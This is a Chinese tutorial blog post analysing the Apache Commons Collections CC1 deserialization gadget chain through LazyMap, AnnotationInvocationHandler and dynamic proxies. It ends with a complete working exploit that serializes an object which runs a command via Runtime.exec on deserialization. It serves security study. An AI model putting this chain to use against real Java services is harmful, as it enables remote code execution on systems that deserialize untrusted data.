当前位置: 首页 > news >正文

Java安全 CC链1分析(Lazymap类)

Java安全 CC链1分析

  • 前言
  • CC链分析
    • CC链1核心
    • LazyMap类
    • AnnotationInvocationHandler类
  • 完整exp:

前言

在看这篇文章前,可以看下我的上一篇文章,了解下cc链1的核心与环境配置

Java安全 CC链1分析

前面我们已经讲过了CC链1的核心ChainedTransformer的transform链,并且用到了TransformedMap类中的方法触发了这条链transform的方法,但是还有一条链可以触发其transform方法,这条链用到了 LazyMap类

这条链用到了大量的反射与代理的知识,建议在看本文章前需要提前补充或复习

CC链分析

CC链1核心

首先我们回顾下cc链1的核心

package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
public class demo1{public static void main(String[] args) throws Exception{//transformers: 一个transformer链,包含各类transformer对象(预设转化逻辑)的转化数组Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};//transformedChain: ChainedTransformer类对象,传入transformers数组,可以按照transformers数组的逻辑执行转化操作ChainedTransformer transformerChain = new ChainedTransformer(transformers);transformerChain.transform(1);//完全的cc1需要找到哪里可调用transform方法}
}

我们接下来的目标就是想法设法调用以上代码中 transformerChain 对象的 transform 方法,从而遍历循环直到命令执行。

LazyMap类

我们首先还是选中 transform 方法,右键选择查找用法

这次我们来到了 LazyMap 类当中的 get 方法
1707649096767.png
LazyMap类中的get方法的代码如下

    public Object get(Object key) {// create value for key if key is not currently in the mapif (map.containsKey(key) == false) {Object value = factory.transform(key); //关键map.put(key, value);return value;}return map.get(key);}

经分析得,当满足map.containsKey(key) == false时,便会执行factory对象transform方法

要想满足该语句,我们传入一个map数组中不存在的key键名即可

接下来我们看下 LazyMap 类的构造方法如下

    protected LazyMap(Map map, Transformer factory) {super(map);if (factory == null) {throw new IllegalArgumentException("Factory must not be null");}this.factory = factory;}

发现 get 方法中的 factory 变量是可控的,可以赋值为上文的transformerChain 对象(cc链1核心),但是该构造方法是受保护的类型,并不能直接调用创建对象

然后我们往上找到了 decorate 方法,代码如下

    public static Map decorate(Map map, Transformer factory) {return new LazyMap(map, factory);}

发现可以通过调用这个静态方法,获得一个 LazyMap 对象,并且 mapfactory 参数可控,这样如何获取 LazyMap 对象的问题便得到解决

我们先写一个demo试试这里的get方法是否真的可以触发cc链1

package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;
import java.util.Map;
public class main2{public static void main(String[] args) throws Exception{//transformers: 一个transformer链,包含各类transformer对象(预设转化逻辑)的转化数组Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);HashMap<Object,Object> hash = new HashMap<>();Map decorate = LazyMap.decorate(hash, chainedTransformer);decorate.get("key");}
}

可以看到demo成功运行弹出计算器

1707649176962.png

AnnotationInvocationHandler类

接下来我们寻找如何触发 LazyMap 对象的get方法,我们同样右键查看用法,可以看到结果有很多,为了节约时间我们直接来到AnnotationInvocationHandler类

路径如下

外部库 -> jdk1.8_65 -> rt.jar -> sun -> reflect -> annotation -> AnnotationInvocationHandler类

1707649207381.png

AnnotationInvocationHandler类在 TransformedMap类所触发的cc链1中用到过,这里我们用到其 invoke 方法,该方法关键代码如下

public Object invoke(Object proxy, Method method, Object[] args) {String member = method.getName();Class<?>[] paramTypes = method.getParameterTypes();if (member.equals("equals") && paramTypes.length == 1 && paramTypes[0] == Object.class)return equalsImpl(args[0]);if (paramTypes.length != 0)throw new AssertionError("Too many parameters for an annotation method");switch(member) {case "toString":return toStringImpl();case "hashCode":return hashCodeImpl();case "annotationType":return type;}// Handle annotation member accessorsObject result = memberValues.get(member);

经分析,我们需要满足前两条 if 语句,才会触发 memberValues 对象get方法,否则会提前返回值

第一个if:

   if (member.equals("equals") && paramTypes.length == 1 && paramTypes[0] == Object.class)

我们调用方法的名字不为 equals即可绕过

第二个if:

if (paramTypes.length != 0)

我们无参调用方法即可绕过

接下来我们分析如何将 LazyMap对象赋值给该类的 memberValues变量,我们查看构造方法,发现该方法是私有的,我们无法调用

    AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {Class<?>[] superInterfaces = type.getInterfaces();if (!type.isAnnotation() ||superInterfaces.length != 1 ||superInterfaces[0] != java.lang.annotation.Annotation.class)throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");this.type = type;this.memberValues = memberValues;}

然后我们看一下invoke方法所属类的定义,如下:

class AnnotationInvocationHandler implements InvocationHandler, Serializable {……
}

发现这个类接口了 InvocationHandler,代表该类可以作为动态代理的代理处理器,只要接口了InvocationHandler接口,就必须重写 invoke 方法,并且调用使用该代理处理器代理对象方法之前会自动执行该 invoke方法。

也就是说我们只需要创建一个 代理对象,通过反射让其代理处理器为AnnotationInvocationHandler类,然后无参调用代理对象的任意方法,即可触发invoke方法

在Java的动态代理机制中,在执行代理对象中的方法之前,会自动执行其代理处理器中的invoke方法

这样触发 invoke 方法的问题便解决了,接下来我们只需创建一个使用AnnotationInvocationHandler类作为处理器的代理对象,并无参调用该代理对象中的方法即可,创建代理对象代码如下

Map proxyInstance = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, instance);

接下来便是要解决——如何无参调用proxyInstance代理对象中的方法

这里实际上只要是找到无参调用对象中方法的地方即可,不限制在哪个类,但终点要为readObject方法

然后我们就近在这个类中,寻找一个无参调用memberValues中方法的方法,我们往下找到了readObject方法,其所用到的关键代码,还是和TransformedMap类所触发的cc链1中一样,为下面的for循环

找到readObject方法也就意味着找到了cc链1的起点

for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {String name = memberValue.getKey();Class<?> memberType = memberTypes.get(name);if (memberType != null) {  // i.e. member still existsObject value = memberValue.getValue();if (!(memberType.isInstance(value) ||value instanceof ExceptionProxy)) {memberValue.setValue(new AnnotationTypeMismatchExceptionProxy(value.getClass() + "[" + value + "]").setMember(annotationType.members().get(name)));}}}

我们发现for循环中的该语句可实现对memberValues变量中的方法实现无参调用

for (Map.Entry<String, Object> memberValue : memberValues.entrySet())

但是我们发现AnnotationInvocationHandler类是私有的,我们可以通过反射获取构造方法进而初始化,然后构造函数的memberValue变量值设置为我们的代理对象即可

整理下思路 我们先用AnnotationInvocationHandler类作为代理处理器创建了一个代理对象proxyInstance,然后又通过反射创建了一个AnnotationInvocationHandler对象,并将成员属性设置为代理对象proxyInstance,目的是为了在AnnotationInvocationHandler对象中的readObject方法里面对代理对象proxyInstancememberValues变量)实现无参调用,从而触发代理处理器AnnotationInvocationHandler类中的invoke方法,进而触发get方法,最后触发transform方法,从而实现cc链1

完整exp:

cc链1(Lazymap)完整exp:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;public class cc11 {public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {//定义一系列Transformer对象,组成一个变换链Transformer[] transformers = new Transformer[]{//返回Runtime.classnew ConstantTransformer(Runtime.class),//通过反射调用getRuntime()方法获取Runtime对象new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),//通过反射调用invoke()方法new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),//通过反射调用exec()方法启动计算器new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};//将多个Transformer对象组合成一个链ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);HashMap<Object,Object> hash = new HashMap<>();//使用chainedTransformer装饰HashMap生成新的MapMap decorate = LazyMap.decorate(hash, chainedTransformer);//通过反射获取AnnotationInvocationHandler类的构造方法Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);//设置构造方法为可访问的constructor.setAccessible(true);//通过反射创建 Override 类的代理对象 instance,并设置其调用会委托给 decorate 对象InvocationHandler instance = (InvocationHandler) constructor.newInstance(Override.class, decorate);//创建Map接口的代理对象proxyInstance,并设置其调用处理器为instanceMap proxyInstance = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, instance);//再次通过反射创建代理对象Object o = constructor.newInstance(Override.class, proxyInstance);serialize(o);unserialize("1.bin");}public static void serialize(Object obj) throws IOException {ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("1.bin")));out.writeObject(obj);}public static void unserialize(String filename) throws IOException, ClassNotFoundException {ObjectInputStream out = new ObjectInputStream(Files.newInputStream(Paths.get(filename)));out.readObject();}}

运行成功弹出计算器
1707649289145.png

相关文章:

Java安全 CC链1分析(Lazymap类)

Java安全 CC链1分析 前言CC链分析CC链1核心LazyMap类AnnotationInvocationHandler类 完整exp&#xff1a; 前言 在看这篇文章前&#xff0c;可以看下我的上一篇文章&#xff0c;了解下cc链1的核心与环境配置 Java安全 CC链1分析 前面我们已经讲过了CC链1的核心ChainedTransf…...

【lesson51】信号之信号处理

文章目录 信号处理可重入函数volatileSIGCHLD信号 信号处理 信号产生之后&#xff0c;信号可能无法被立即处理&#xff0c;一般在合适的时候处理。 1.在合适的时候处理&#xff08;是什么时候&#xff1f;&#xff09; 信号相关的数据字段都是在进程PCB内部。 而进程工作的状态…...

分享springboot框架的一个开源的本地开发部署教程(若依开源项目开发部署过程分享持续更新二开宝藏项目MySQL数据库版)

1首先介绍下若依项目&#xff1a; 若依是一个基于Spring Boot和Spring Cloud技术栈开发的多租户权限管理系统。该开源项目提供了一套完整的权限管理解决方案&#xff0c;包括用户管理、角色管理、菜单管理、部门管理、岗位管理等功能。 若依项目采用前后端分离的架构&#xf…...

leetcode:131.分割回文串

树形结构&#xff1a; 切割到字符串的尾部&#xff0c;就是叶子节点。 回溯算法三部曲&#xff1a; 1.递归的参数和返回值&#xff1a; 参数字符串s和startIndex切割线 2.确定终止条件&#xff1a; 当分割线到字符串末尾时到叶子节点&#xff0c;一种方案出现 3.单层搜索…...

Linux下的json-c

一、json-c库的安装(ubuntu) root用户运行以下命令&#xff1a; apt-get install libjson0-dev libjson0非root用户运行以下命令&#xff1a; sudo apt-get install libjson0-dev libjson0二、解析json数据 1. json_object json_object是JSON-C库中定义的一个结构体&#…...

[C#] 如何使用ScottPlot.WPF在WPF桌面程序中绘制图表

什么是ScottPlot.WPF&#xff1f; ScottPlot.WPF 是一个开源的数据可视化库&#xff0c;用于在 WPF 应用程序中创建高品质的绘图和图表。它是基于 ScottPlot 库的 WPF 版本&#xff0c;提供了简单易用的 API&#xff0c;使开发人员能够通过简单的代码创建各种类型的图表&#…...

如何修复Mac的“ kernel_task” CPU使用率过高的Bug?

当计算机开始缓慢运行时&#xff0c;这从来都不是一件有趣的事情&#xff0c;但是当您弄不清它为何如此缓慢时&#xff0c;甚至会变得更糟。如果您已经关闭了所有程序&#xff0c;并且Mac上的所有内容仍然感觉像是在糖蜜中移动&#xff0c;这可能是令人讨厌的kernel_task导致高…...

【NodeJS】006- API模块与会话控制介绍d

1.简介 1.1 接口是什么 接口是 前后端通信的桥梁 简单理解&#xff1a;一个接口就是 服务中的一个路由规则 &#xff0c;根据请求响应结果 接口的英文单词是 API (Application Program Interface)&#xff0c;所以有时也称之为 API 接口 这里的接口指的是『数据接口』&#…...

[UI5 常用控件] 08.Wizard,NavContainer

文章目录 前言1. Wizard1.1 基本结构1.2 属性1.2.1 Wizard&#xff1a;complete1.2.2 Wizard&#xff1a;finishButtonText1.2.3 Wizard&#xff1a;currentStep1.2.4 Wizard&#xff1a;backgroundDesign1.2.5 Wizard&#xff1a;enableBranching1.2.6 WizardStep&#xff1a;…...

EasyExcel分页上传数据

EasyExcel分页上传数据 一、实例 controller上传入口 PostMapping("/upload")ResponseBodyLog(title "导入工单", businessType BusinessType.IMPORT)public AjaxResult uploadFile(HttpServletRequest request, MultipartFile files) throws Exceptio…...

Spring Native 解放 JVM

一、Spring Native 是什么 Spring Native可以通过GraalVM将Spring应用程序编译成原生镜像&#xff0c;提供了一种新的方式来部署Spring应用。与Java虚拟机相比&#xff0c;原生镜像可以在许多场景下降低工作负载&#xff0c;包括微服务&#xff0c;函数式服务&#xff0c;非常…...

汇编的两道题

1.编写一个在显示器上显示一个笑脸字符的程序 看这段程序的结构&#xff0c;可以看出&#xff0c;每个代码段&#xff0c;带有segment的必须用ASSUME 来进行段分配。 PROG1 SEGMENT;PROG1段的开始ASSUME CS:PROG1;PROG1&#xff08;自己命名的&#xff0c;叫啥都可以&#xff…...

Seurat - 聚类教程 (1)

设置 Seurat 对象 在本教程[1]中&#xff0c;我们将分析 10X Genomics 免费提供的外周血单核细胞 (PBMC) 数据集。在 Illumina NextSeq 500 上对 2,700 个单细胞进行了测序。可以在此处[2]找到原始数据。 我们首先读取数据。 Read10X() 函数从 10X 读取 cellranger 管道的输出&…...

Mac 版 Excel 和 Windows 版 Excel的区别

Excel是一款由微软公司开发的电子表格程序&#xff0c;广泛应用于数据处理、分析和可视化等领域。它提供了丰富的功能和工具&#xff0c;包括公式、函数、图表和数据透视表等&#xff0c;帮助用户高效地处理和管理大量数据。同时&#xff0c;Excel还支持与其他Office应用程序的…...

【报错解决】-bash: export: `-8‘: not a valid identifier 不是有效的标识符

现象 一登陆就提示-bash: export: -8’: not a valid identifier 不是有效的标识符 问题出现的原因 设置字符集时多写了空格 [rootdb1 ~]# cat >>/etc/profile<<EOF export LANGen_US.UTF -8(-8前不应有空格) EOF 解决方法 cd /etc vi profile 把export带有-8的…...

Docker-Learn(三)创建镜像Docker(换源)

根据之前的内容基础&#xff0c;本小点的内容主要涉及到的内容是比较重要的文本Dockerfile 1. 编辑Dockerfile 启动命令行终端&#xff08;在自己的工作空间当中&#xff09;,创建和编辑Dockerfile。 vim Dockerfile然后写入以下内容 # 使用一个基础镜像 FROM ubuntu:late…...

「递归算法」:二叉树剪枝

一、题目 给你二叉树的根结点 root &#xff0c;此外树的每个结点的值要么是 0 &#xff0c;要么是 1 。 返回移除了所有不包含 1 的子树的原二叉树。 节点 node 的子树为 node 本身加上所有 node 的后代。 示例 1&#xff1a; 输入&#xff1a;root [1,null,0,0,1] 输出&…...

Kafka下载(kafka和jdk、zookeeper、SpringBoot的版本对应关系)

文章目录 一、准备工作1、必须环境2、kafka使用自带的zookeeper还是自己单独部署zookeeper?二、下载一、准备工作 1、必须环境 kafka本身的开发语言是Scala,而Scala是基于jdk开发的,所以要先安装jdk kafka版本jdk版本kafka使用jdk版本官网说明1.0建议使用1.8https://kafka.…...

自然语言NLP

什么是NLP NLP&#xff08;Natural Language Processing&#xff09;是自然语言处理的缩写&#xff0c;是计算机科学和人工智能领域的一个研究方向。NLP致力于使计算机能够理解、处理和生成人类自然语言的能力。通过NLP技术&#xff0c;计算机可以通过识别和理解语言中的文本…...

容器库(5)-std::list

std::forward_list是可以从任何位置快速插入和移除元素的容器&#xff0c;不支持快速随机访问&#xff0c;支持正向和反向的迭代。 本文章的代码库&#xff1a; https://gitee.com/gamestorm577/CppStd 成员函数 构造、析构和赋值 构造函数 可以用元素、元素列表、迭代器…...

GA/T 1400视图库实战:从零部署Easy1400平台到设备级联全流程解析

1. 初识GA/T 1400与Easy1400平台 第一次接触GA/T 1400标准时&#xff0c;我完全被各种专业术语绕晕了。简单来说&#xff0c;这是一套专门针对视频监控领域的行业标准&#xff0c;规定了视频图像信息在采集、传输、存储等环节的技术要求。而Easy1400就是基于这个标准开发的一套…...

LVGUI字体瘦身实战:如何为你的IoT设备定制一个超小的中文字体库

LGVUI字体瘦身实战&#xff1a;为IoT设备定制超小中文字体库的工程化解决方案 在嵌入式物联网设备开发中&#xff0c;每一KB的Flash和RAM都弥足珍贵。当你的智能温控器需要显示"当前温度&#xff1a;25℃"或者电子秤要呈现"净重&#xff1a;0.5kg"时&#…...

UABEA:终极跨平台Unity资源编辑器,免费解锁游戏资源分析新境界

UABEA&#xff1a;终极跨平台Unity资源编辑器&#xff0c;免费解锁游戏资源分析新境界 【免费下载链接】UABEA c# uabe for newer versions of unity 项目地址: https://gitcode.com/gh_mirrors/ua/UABEA UABEA&#xff08;Unity Asset Bundle Extractor Avalonia&#…...

Go语言静态站点生成器Zeuxis:极简架构与高性能构建实践

1. 项目概述&#xff1a;一个轻量级、高性能的静态站点生成器最近在折腾个人博客和文档站点&#xff0c;发现市面上的静态站点生成器虽然多&#xff0c;但要么配置复杂、学习曲线陡峭&#xff0c;要么过于臃肿&#xff0c;启动和构建速度慢得让人抓狂。直到我遇到了bnomei/zeux…...

从零构建团队技能仓库:结构化知识管理与VuePress实践

1. 项目概述&#xff1a;一个技能仓库的诞生与价值 最近在整理团队内部的技术资产时&#xff0c;我一直在思考一个问题&#xff1a;如何让那些散落在个人笔记、项目代码片段、会议纪要里的“隐性知识”和“最佳实践”沉淀下来&#xff0c;变成团队可复用、可传承的“显性资产”…...

Shell脚本加固实战:用shellguard提升脚本健壮性与安全性

1. 项目概述&#xff1a;一个为Shell脚本穿上“防弹衣”的守护者 在运维开发、自动化部署乃至日常的系统管理工作中&#xff0c;Shell脚本是我们最忠实、最高效的伙伴。从简单的日志清理到复杂的CI/CD流水线&#xff0c;Shell脚本无处不在。然而&#xff0c;脚本的安全性、健壮…...

企业级后端四层架构实战:从理论到代码的清晰落地

1. 项目概述&#xff1a;一个四层架构的实战蓝图最近在GitHub上看到一个挺有意思的项目&#xff0c;叫BTawaifi/four-layer-system。光看名字&#xff0c;你可能会觉得这又是一个老生常谈的“四层架构”理论教程&#xff0c;无非是Controller、Service、Repository那套东西。但…...

ElevenLabs情绪驱动API实战手册(2024企业级部署全链路):从F0曲线调制到微表情时序对齐

更多请点击&#xff1a; https://intelliparadigm.com 第一章&#xff1a;ElevenLabs情绪驱动API核心架构与演进脉络 ElevenLabs 的情绪驱动 API 并非简单叠加情感标签的语音合成增强层&#xff0c;而是构建在多模态表征学习与实时声学参数调控双引擎之上的闭环系统。其核心架…...

从零打造专业GitHub个人资料页:Markdown与动态集成实战指南

1. 项目概述与核心价值 在技术圈子里混了十几年&#xff0c;我越来越觉得&#xff0c;一个开发者的“数字门面”和代码能力同等重要。这个门面&#xff0c;很多时候就是你的GitHub主页。早些年&#xff0c;大家的GitHub个人页面就是个简单的仓库列表&#xff0c;加上一些贡献图…...

三维重建下半场,拼的全是底层基建实力!

三维重建已从算法创新竞赛正式迈入基础设施比拼新阶段&#xff0c;主流技术路线逐步收敛&#xff0c;单纯算法红利见顶&#xff0c;行业竞争核心转向数据、算力、平台、生态等底层综合能力。当下竞争不再只比模型效果&#xff0c;而是聚焦四大核心基建维度&#xff1a;采集传感…...